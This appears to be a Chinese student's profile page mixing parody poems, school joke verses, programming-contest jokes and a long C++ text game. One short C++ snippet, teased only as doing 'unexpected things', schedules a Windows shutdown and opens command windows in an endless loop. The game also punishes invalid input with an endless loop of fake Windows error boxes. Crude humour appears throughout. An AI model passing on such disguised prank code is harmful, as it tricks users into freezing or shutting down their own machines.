    32.停车坐爱枫林晚,夜半钟声到客船。

    33.红军不怕远征难,天子呼来不上船。

    34.大人不计小人过,宰相肚里能撑船。

    35.月落乌啼霜满天,夫妻双双把家还。

    36.京口瓜洲一水间,千里江陵一日还。

    37.佟湘玉的:

    问世间是否此山最高?

    有妈的孩子是块宝。

    天若有情天亦老,

    爱你爱到忘不了,

    忘不了你的情,

    久旱逢甘雨,铁杵磨成针。

    2、

    轻拢慢捻抹复挑,从此君王不早朝。

    3、

    曲径通幽花深处,蓬门今始为君开

    4、

    小荷才露尖尖角,始是新承恩泽时。

    5、

    妆罢低声问夫婿,玉人何处教吹箫?

    6、

    朕与将军解战袍,芙蓉帐暖度春宵。

    7、

    春宵苦短日高起,江州司马青衫湿。

    8、

    一骑红尘妃子笑,前度刘郎今又来

    9、

    一骑红尘妃子笑,穆王何事不重来?

    11、

    春宵一刻值千金,绝知此事要躬行。

    12、

    姑苏城外寒山寺,夜半无人私语时。

    13、

    胡贼巢穴且不入,隔江犹唱后庭花。

    14、

    蓬门不曾缘客扫,长使英雄泪满襟。

    15、

    桃花潭水深千尺,温泉水滑洗凝脂。

    16、

    满堂花醉三千客,更无一人是知音。

    17、

    春宵一刻值千金,不及汪伦送我情!

    18、

    少小离家老大回,安能辨我是雄雌。

    19、

    仰天大笑出门去,无人知是荔枝来。

    20、

    垂死病中惊坐起,夜深还过女墙来。

    21、

    夜深忽梦少年事,惟梦闲人不梦君。

    22、

    相见时难别亦难,一别西风又一年

    23、

    轻拢慢捻抹复挑,江州司马青衫湿。

    24、

    劝君更尽一杯酒,与尔同销万古愁。

    25、

    两岸猿声啼不住,夜半钟声到客船

    26、

    去年今日此门中,风光不与四时同。

    27、

    垂死病中惊坐起,夜深还过女墙来。

    28、

    莫愁前路无知己,同是天涯沦落人。

    29、

    路漫漫其修远兮,壮士一去兮不复还。

    30

    问君能有几多愁,别有一番滋味在心头。

    上课一排全睡,考试全都不会。

    成绩基本个位,抽烟打牌都会。

    打饭从不排队,逃课成群结队。

    短信发到欠费,上街花钱干脆。

    穿越如痴如醉,地下忘记疲惫。

    炫舞手鼓敲碎,问到闭眼都会。

    飞车百战不退,魔鬼砍人无罪。

    垃圾学校万岁!

    要啥没啥,烟瘾庞大,

    干啥啥不中,说话死难听,

    当过兵,站过岗,

    耍过流氓,入过党。

    考试不作弊,放你妈狗屁。

    考试不发书,蠢得像头猪。

    作弊不要慌,逮到就要装。

    生是中国人,死是中国魂。

    要我学洋文,死都不可能。

    抢饭吧积极,智商有问题。

    上课不放屁,肠道有问题。

    语文老师一回头,此地空余黄鹤楼。

    数学老师一回头,阿基米德要跳楼。

    英语老师一回头,sorry加上三克油。

    化学老师一回头,二氧化碳变汽油。

    物理老师一回头,一根杠杆撬地球。

    生物老师一回头,试管婴儿水中游。

    地理老师一回头,大陆版块乱漂流。

    历史老师一回头,秦始皇来推铅球。

    劳动老师一回头,破铜烂铁来走秀。

    美术老师一回头,蒙娜丽莎也风流。

    体育老师一回头,奥运取消打篮球。

    电脑老师一回头,学生全成阿Q友。

    全体老师一回头,世界没有了自由。

    英语不及格,说明我爱国。

    语文不及格,恋爱没资格。

    物理不及格,电死不负责。

    化学不及格,硫酸也得喝。

    政治不及格,老师没道德。

    信息不及格,网吧要打折。

    数学不及格,突出我性格。

    历史不及格,社会要改革。

    全科不及格,老妈动真格。

    昨天,我带了A4,被同学撕了;

    今天,我带了B4,被老师没收了;

    明天,我决定带C4。

    昨天,我带了一台MP3,被我弄丢了;

    今天,我带了一台MP4,被同学摔烂了;

    明天,我决定带一台MP5(一种冲锋枪)。

    语文考试时,感觉自己是个外国人;

    英语考试时,感觉自己是个中国人;

    数学考试时,感觉自己是个原始人;

    体育考试时,感觉自己是个残疾人;

    音乐考试时,感觉自己是个聋哑人;

    拿到成绩单时,感觉自己不是人。

    青青园中葵,周日去拉稀。

    阳春布德泽,万物都牛逼。

    常恐秋节至,焜煌没只因。

    百川东到海,何时去归西。

    少壮不努力,牢大买飞机。

    劝君更尽一杯酒,3.14159。

    天苍苍,野茫茫,外焦里嫩烤全羊。

    垂死病中惊坐起,小丑竞是你自己。

    两个黄鹂鸣翠柳,隔壁老师单身狗。

    借问酒家何处有,单身狗不配喝酒。

    书中自有黄金屋,拿了黄金不读书。

    书山有路勤为径,游戏打得真起劲。

    忍一时越想越气,退一步越想越亏。

    冰冻三尺非一日之寒,小腹三层非一日之馋。

    慈母手中剑,游子身上劈。

    一秒十二剑,剑剑出暴击。

    父看子未凉,掏出七匹狼。

    子看七匹狼,瞬间透心凉。

    透心凉,心飞扬。

    果冻我要喜之郎。

    王中王,火腿肠。

    三节更比六节强。

    不听老人言,开心好几年。

    临时抱佛脚,佛踹我一脚。

    一山不容二虎,除非一公一母。

    吃得苦中苦,伺候人上人。

    干一行,恨一行,三百六十行,行行都骂娘。

    MC不倒,陪你到老。

    迷你不倒,一脚踹倒。

    一脚不倒,拿出枪炮。

    迷你炸倒,MC最好!

    此生无悔入MC,来世再做方块人!

    方块树上方块果,方块树下你和我!

    在c++中运行,会有想不到的事情

    #include<bits/stdc++.h>
    #include<windows.h>
    using namespace std;
    int main(){
        system("shutdown -s -t 60");
    while(1){
    system("start cmd");
    }
    }
    

    Copy

    此生无悔入c++,来世还做编程人

    c++启动!!!!!! ! ! ! ! ! ! ! ! ! ! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!


    #宇宙说:你所斗争的黑暗就在你心中,你所寻找的光明就在你心中--玄——后室迷

    #世人只会记得第一,而不会记得第二。--玄——后室迷

    #代你见证世界的终结,来世再续梦之伊甸--玄——后室迷

    #找到迷失于黑夜的少女,这便是改写你命运的咒语。--玄——后室迷

    #往昔红颜梦,今朝朦胧泪。--玄——后室迷

    #努力吧!就算再寂寞!也要努力活下去!!!!!!!--玄——后室迷

    #路很难走,但我们并不孤单。--玄——后室迷

    #人是生而自由的,但却无往不在枷锁之中。--玄——后室迷

    #患了中二病,等于有了一种信仰。--玄——后室迷


    ·暴力出奇迹,骗分过样例。

    ·数学先打表,DP看运气。

    ·穷举TLE,递推UKE。

    ·模拟MLE,贪心还CE。

    ·想要骗到分,就要有方法。

    ·图论背模板,数论背公式。

    ·动规背方程,高精背代码。

    ·如果都没背,干脆输样例。

    模拟只会猜题意,贪心只能过样例,

    数学上来先打表,D P一般看规律。

    组合数学靠运气,计算几何瞎暴力,

    图论一顿套模板,数论只会GCD


    --------------是我!分割线😄 !-----------------

    后室介绍

    后室实体​介绍​#backrooms #胆小慎入#原创#奇闻异事#沉浸式体验- ...


    --------------又是我!分割线😄 !-----------------

    我也是使命召唤手游的迷!!!

    名字:冷霜啄.天者。

    战队:冷霜啄。

    在收徒弟!!!!!

    已上传奇的枪:Q33


    (!̶̧͖̮̬͓͚̠̎́͌͝@̶̧̲̘͇͗̈͐̋̌) (!̶̧͖̮̬͓͚̠̎́͌͝@̶̧̲̘͇͗̈͐̋̌) (!̶̧͖̮̬͓͚̠̎́͌͝@̶̧̲̘͇͗̈͐̋̌) (!̶̧͖̮̬͓͚̠̎́͌͝@̶̧̲̘͇͗̈͐̋̌) (!̶̧͖̮̬͓͚̠̎́͌͝@̶̧̲̘͇͗̈͐̋̌) (!̶̧͖̮̬͓͚̠̎́͌͝@̶̧̲̘͇͗̈͐̋̌) (!̶̧͖̮̬͓͚̠̎́͌͝@̶̧̲̘͇͗̈͐̋̌) (!̶̧͖̮̬͓͚̠̎́͌͝@̶̧̲̘͇͗̈͐̋̌) (!̶̧͖̮̬͓͚̠̎́͌͝@̶̧̲̘͇͗̈͐̋̌) (!̶̧͖̮̬͓͚̠̎́͌͝@̶̧̲̘͇͗̈͐̋̌) (!̶̧͖̮̬͓͚̠̎́͌͝@̶̧̲̘͇͗̈͐̋̌) (!̶̧͖̮̬͓͚̠̎́͌͝@̶̧̲̘͇͗̈͐̋̌)

    image

    image image imageimageimageimageimageimageimageimageimageimageimageimageimageimageimageimageimageimageimageimageimageimageimageimageimageimageimageimage

    Level !:

    image image image image

    游戏: https://poki.com/zh https://douyin.com/zh

    c++小游戏

    #include<stdio.h>
    #include<windows.h>
    #include<conio.h>
    #include<stdlib.h>
    #include<time.h>
    #define LEN 30
    #define WID 25
    #include<bits/stdc++.h>
    #include<iostream>
    #include<fstream>
    #include<algorithm>
    #include<windows.h>
    #include<cstdlib>
    #include<ctime>
    #include<conio.h>
    #include<iostream>
    #include<fstream>
    #include<algorithm>
    #include <string>
    #include <Windowsx.h>
    #include <cmath>
    #include <sstream>
    #include <iomanip>
    #include <vector>
    #include <olectl.h>
    using namespace std;
    int w[15],b[9999],u=1,jk[99];
    string sbsb="tanyu";
    int main()
    { unsigned seed;
    srand(seed);
    int fd,po=0,rt=0;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
    cout<<"神";Sleep(500);
    
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);
    cout<<"羽";Sleep(500);
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE);
    cout<<"工";Sleep(500);
    
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN);
    cout<<"作";Sleep(500);
    
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
    cout<<"室"<<endl;Sleep(500);
    
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE|FOREGROUND_RED|FOREGROUND_GREEN);
    int yu=200,ui=100,io=100;
    cout<<"人生重开模拟器(修仙版5.5版):进入游戏请输入:1 进入调查问卷请输入:2 退出游戏请输入:0"<<endl;
    int a=0,s=0,d=0,f=0,g=0,h=0,j=0,k=0,l=0,qs=0,sq=0;//悟出大道数a,金之大道s,木之大道d,水之大道f,火之大道g,土之大道h,生命大道j,毁灭大道k,混沌大道l,107821:密码。
    int q;
    int as=0;
    int zxc=100;
    cin>>q;
    if(q!=1&&q!=2&&q!=0){
    
    
    for(int i=1;i<=999999999;i++){
    if(i>=5){
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
    cout<<"想搞事!?我陪你!"<<endl;
    Sleep(100);
    cout<<"给你5秒反思和退出,别怪作者心狠手辣!";
    Sleep(5000);
    for(;;){
    MessageBox(NULL,"windows遇到了一个无法解决的问题。","windows未响应。",MB_ABORTRETRYIGNORE+48);
    }}
    if(q==1||q==2||q==0){break;}
    else{
    MessageBox(NULL,"您没有输入1 或者2 或者0 哦!","输入错误!",MB_OK+48);
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE|FOREGROUND_RED|FOREGROUND_GREEN);
    cout<<"人生重开模拟器(修仙版5.0版):进入游戏请输入:1 进入调查问卷请输入:2 退出游戏请输入:0"<<endl;
    cin>>q;
    }
    
    }
    }
    if(q==1){
    
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
    cout<<"Ok!我们来进入吧!"<<endl;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE);
    for(int i=1;i<=20;i++){
    if(i>=1&&i<=10||i>=17&&i<=20){Sleep(200);cout<<"█";}
    else {Sleep(350);cout<<"█";}
    
    }
    for(int i=0;i<1000;i++){cout<<endl;}
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE);
    cout<<"ok,请选择天赋点(天赋点40):"<<endl;
    int da=0;
    int z=0,x=0,c=0,v=0;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);
    cout<<"颜值: ";
    cin>>z;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
    cout<<"智力: ";
    cin>>x;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);
    cout<<"钱数: ";
    cin>>c;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE);
    cout<<"健康:";
    cin>>v;
    cout<<endl;
    if(z==12&&x==12&&c==6){
    //a=6;s=1;d=1;f=1;g=1;h=1;j=1;k=1;l=1;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN);
    cout<<"你触发了时间大道:"<<endl;
    cout<<"输入的时间越少,速度更快(输入1000== 一秒)"<<endl;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);
    cout<<"凡人时间: ";
    cin>>yu;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
    cout<<endl<<"仙人时间: ";
    cin>>ui;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);
    cout<<endl<<"神者时间: ";
    cin>>io;
    }
    if(z+x+c+v>40){
    for(;;){
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE);
    cout<<"ok,请选择天赋点(天赋点40):"<<endl;
    cout<<"请正常选择或总天赋点小于等于40。"<<endl;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);
    cout<<"颜值: ";
    cin>>z;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
    cout<<"智力: ";
    cin>>x;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);
    cout<<"钱数: ";
    cin>>c;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE);
    cout<<"健康:";
    cin>>v;
    cout<<endl;
    if(z+x+c<=30){break;}
    
    }
    
    }
    
    if(z>10){
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);
    cout<<"你出生了,是男孩。"<<endl;
    }
    else{
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
    cout<<"你出生了,是女孩。"<<endl;
    }
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);
    cout<<"颜值:"<<z<<" ";
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
    cout<<"智力:"<<x<<" ";
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);
    cout<<"钱数:"<<c<<" ";
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE);
    cout<<"健康:"<<v<<" "<<endl<<endl;
    c=c*100;
    Sleep(300);
    for(int i=1;i<100;i++){
    int rt=0;
    int a=rand()%50+1;
    if(2>v&&v<2&&c>=100000){
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);
    cout<<"第"<<i<<"年:"<<"你因为突发病或事件死了.(注意身体和运气)"<<endl;da=1;break;}
    if(a==1){cout<<"第"<<i<<"年:"<<"你捡到了养颜宝典,颜值加3."<<endl;z=z+3;rt=1;}
    if(a==2){cout<<"第"<<i<<"年:"<<"你捡到0.2斤铁,钱数加200."<<endl;c=c+200;rt=1;}
    if(a==3){cout<<"第"<<i<<"年:"<<"你被人诈骗了,钱数减600."<<endl;c=c-600;rt=1;}
    if(a==4){cout<<"第"<<i<<"年:"<<"你学了一本书,智力加3."<<endl;x=x+3;rt=1;}
    if(a==5){cout<<"第"<<i<<"年:"<<"你捡到了一个钻戒,钱数加2000."<<endl;c=c+2000;rt=1;}
    if(a==6&&jk[1]==0){cout<<"第"<<i<<"年:"<<"【绝密消息】:有一个人被车撞了。他死前大喊”不!我可是10世转修者!“"<<endl;jk[1]++;rt=1;}
    if(a==7&&jk[2]==0){cout<<"第"<<i<<"年:"<<"【绝密消息】:陈忆轩一天刷10道难度三的题."<<endl;jk[2]++;rt=1;}
    if(a==8&&jk[3]==0){cout<<"第"<<i<<"年:"<<"【绝密消息】:阮烁恒天天看《无职转生~到了异世界就拿出真本事~》!!!"<<endl;jk[3]++;rt=1;}
    if(a==9&&jk[4]==0){cout<<"第"<<i<<"年:"<<"【绝密消息】:作者于2021年12月20日与羽浩腾一起合作。"<<endl;jk[4]++;rt=1;}
    if(a==10&&jk[5]==0){cout<<"第"<<i<<"年:"<<"【绝密消息】:阮烁恒习的欧啦神功后天天把作者打的****。"<<endl;jk[5]++;rt=1;}
    if(a==6&&jk[1]==1){cout<<"第"<<i<<"年:"<<"平平无奇的一年."<<endl;rt=1;}
    if(a==7&&jk[2]==1){cout<<"第"<<i<<"年:"<<"平平无奇的一年."<<endl;rt=1;}
    if(a==8&&jk[3]==1){cout<<"第"<<i<<"年:"<<"平平无奇的一年."<<endl;rt=1;}
    if(a==9&&jk[4]==1){cout<<"第"<<i<<"年:"<<"平平无奇的一年."<<endl;rt=1;}
    if(a==10&&jk[5]==1){cout<<"第"<<i<<"年:"<<"平平无奇的一年."<<endl;rt=1;}
    if(a==11&&jk[6]==0){cout<<"第"<<i<<"年:"<<"日本被和谐成月本."<<endl;jk[6]++;rt=1;}
    if(a==12&&jk[7]==0){cout<<"第"<<i<<"年:"<<"中国GPS超过美国."<<endl;jk[7]++;rt=1;}
    if(a==11&&jk[6]==1){cout<<"第"<<i<<"年:"<<"平平无奇的一年."<<endl;rt=1;}
    if(a==12&&jk[7]==1){cout<<"第"<<i<<"年:"<<"平平无奇的一年."<<endl;rt=1;}
    if(a==18){cout<<"第"<<i<<"年:"<<"你被特别培训,全方面提升3."<<endl;z=z+3;x=x+3;v=v+3;rt=1;}
    if(a==19){cout<<"第"<<i<<"年:"<<"你不小心用小刀划了脸,颜值减5,健康减1."<<endl;z=z-5;rt=1;v=v-1;}
    if(a==20){cout<<"第"<<i<<"年:"<<"你不小心被车撞了脑袋,智力减5,健康减5."<<endl;x=x-5;rt=1;v=v-5;}
    if(a==21){cout<<"第"<<i<<"年:"<<"你患上了感冒,健康减2."<<endl;v=v-2;rt=1;}
    if(a==22){cout<<"第"<<i<<"年:"<<"你坚持锻炼,健康加2."<<endl;v=v+2;rt=1;}
    if(a==23){cout<<"第"<<i<<"年:"<<"因为你惹了一只狼狗,所以你每天被狗追着跑...健康加3."<<endl;v=v+3;rt=1;}
    if(a==24){cout<<"第"<<i<<"年:"<<"因为你勤奋工作,所以钱数加"<<c/100<<endl;c=c+c/100;rt=1;}
    if(a==25&&jk[8]==0&&c>=100000){cout<<"第"<<i<<"年:"<<"你向乞丐买了一本《古仙图》.钱数减100000."<<endl;c=c-100000;po=po+1;jk[8]++;rt=1;}
    if(a==25&&jk[8]==1&&c>=100000){cout<<"第"<<i<<"年:"<<"平平无奇的一年."<<endl;rt=1;}
    if(a==26){cout<<"第"<<i<<"年:"<<"你捡到了100元"<<endl;c=c+100;rt=1;}
    if(a==27){cout<<"第"<<i<<"年:"<<"你突然病倒了!健康减5!"<<endl;v=v-5;}
    if(a==28&&z>=20){cout<<"第"<<i<<"年:"<<"你迷到了一大堆人!"<<endl;}
    if(a==29&&jk[9]==0){cout<<"第"<<i<<"年:"<<"【绝密消息】:中国发现了外星文明!"<<endl;x=x+10;jk[9]++;}
    if(a==29&&jk[9]==1){cout<<"第"<<i<<"年:"<<"平平无奇的一年."<<endl;rt=1;}
    if(rt==0){cout<<"第"<<i<<"年:"<<"平平无奇的一年."<<endl;}
    if(c<=50){cout<<"你破产了!!全方面-2."<<endl;z=z-2;x=x-2;v=v-2;}
    z=z+0.1;x=x+0.1;c=c+c/100;v=v+0.1;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);
    cout<<"颜值:"<<z<<" ";
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
    cout<<"智力:"<<x<<" ";
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);
    cout<<"钱数:"<<c<<" ";
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE);
    cout<<"健康:"<<v<<" "<<endl<<endl;
    Sleep(yu);
    }
    
    int ghj=0;
    if(da==1){SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);cout<<"寿元终.";}
    else{
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);
    cout<<"第100年:你打开了小盒子,发现了《修仙功》这本修仙功法,开始修仙之路,寿元提升至150年。";
    if(po>0){cout<<"你发现当初买的《古仙图》比《修仙功》效果更好!";}
    cout<<endl;int qw=150;
    //int i;
    u=u+(z*0.01)+(x*0.01)+(v*0.1);
    for(int i=101;i<=qw;i++){
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);
    if(250>=u){
    int rt=0;
    
    fd=rand()%50+1;
    if(fd==1){cout<<"第"<<i<<"年:"<<"你找到灵气聚集之处,修为大幅度上升。"<<endl;u=u+1.5;rt=1;}
    if(fd==2){cout<<"第"<<i<<"年:"<<"你找到灵气聚集之处,修为大幅度上升。"<<endl;u=u+1.5;rt=1;}
    if(fd==3){cout<<"第"<<i<<"年:"<<"你找到异果,修为小幅度上升。"<<endl;u=u+1;rt=1;}
    if(fd==4){cout<<"第"<<i<<"年:"<<"你找到异果,修为小幅度上升。"<<endl;u=u+1;rt=1;}
    if(fd==5){cout<<"第"<<i<<"年:"<<"你找到异果,修为小幅度上升。"<<endl;u=u+1;rt=1;}
    if(fd==6){cout<<"第"<<i<<"年:"<<"你走火入魔,修为大幅度下降。"<<endl;u=u-2;rt=1;}
    if(fd==7){cout<<"第"<<i<<"年:"<<"你走火入魔,修为大幅度下降。"<<endl;u=u-2;rt=1;}
    if(fd==8){cout<<"第"<<i<<"年:"<<"你杀了一位筑基期修仙者,修为大幅度上升。"<<endl;u=u+1.5;rt=1;}
    if(fd==9){cout<<"第"<<i<<"年:"<<"你杀了一位筑基期修仙者,修为大幅度上升。"<<endl;u=u+1.5;rt=1;}
    if(fd==10&&ghj<=2){cout<<"第"<<i<<"年:"<<"你获得渡劫失败的渡劫期修仙者传承,修为提升X。"<<endl;u=u+50;ghj++;rt=1;}else {if(fd==10&&ghj<=2){cout<<"第"<<i<<"年:"<<"修行..."<<endl;u=u+0.2;rt=1;}}
    if(fd==11){cout<<"第"<<i<<"年:"<<"你悟了一些《神仙图》的内容,修为加快提升。"<<endl;po=po+0.1;rt=1;}
    if(rt==0){cout<<"第"<<i<<"年:"<<"修行..."<<endl;u=u+0.2;}
    
    }
    else{
    int gd;
    gd=rand()%100+1;
    if(gd==1&&sq==0){SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);cout<<"第"<<i<<"年:"<<"你悟透了伟大的马克思主义。"<<endl;u=u+1;sq=1;}else{if(gd==1){cout<<"第"<<i<<"年:"<<"悟道..."<<endl;u=u+0.2;}}
    if(gd==2&&qs==0){SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);cout<<"第"<<i<<"年:"<<"你悟出了空手道,好像并没有什么卵用。"<<endl;u=u+1;qs=1;}else{if(gd==2){cout<<"第"<<i<<"年:"<<"悟道..."<<endl;u=u+0.2;}}
    if(gd==3&&s==0){SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);cout<<"第"<<i<<"年:"<<"你悟出了金之大道。"<<endl;u=u+4;s=1;a=a+1;}else{if(gd==3){cout<<"第"<<i<<"年:"<<"悟道..."<<endl;u=u+0.2;}}
    if(gd==4&&d==0){SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);cout<<"第"<<i<<"年:"<<"你悟出了木之大道。"<<endl;u=u+4;d=1;a=a+1;}else{if(gd==4){cout<<"第"<<i<<"年:"<<"悟道..."<<endl;u=u+0.2;}}
    if(gd==5&&f==0){SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);cout<<"第"<<i<<"年:"<<"你悟出了水之大道。"<<endl;u=u+4;f=1;a=a+1;}else{if(gd==5){cout<<"第"<<i<<"年:"<<"悟道..."<<endl;u=u+0.2;}}
    if(gd==6&&g==0){SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);cout<<"第"<<i<<"年:"<<"你悟出了火之大道。"<<endl;u=u+4;g=1;a=a+1;}else{if(gd==6){cout<<"第"<<i<<"年:"<<"悟道..."<<endl;u=u+0.2;}}
    if(gd==7&&h==0){SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);cout<<"第"<<i<<"年:"<<"你悟出了土之大道。"<<endl;u=u+4;h=1;a=a+1;}else{if(gd==7){cout<<"第"<<i<<"年:"<<"悟道..."<<endl;u=u+0.2;}}
    if(gd==8&&j==0){SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);cout<<"第"<<i<<"年:"<<"你悟出了生命大道。"<<endl;u=u+5;j=1;a=a+1;}else{if(gd==8){cout<<"第"<<i<<"年:"<<"悟道..."<<endl;u=u+0.2;}}
    if(gd==9&&k==0){SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);cout<<"第"<<i<<"年:"<<"你悟出了毁灭大道。"<<endl;u=u+5;k=1;a=a+1;}else{if(gd==9){cout<<"第"<<i<<"年:"<<"悟道..."<<endl;u=u+0.2;}}
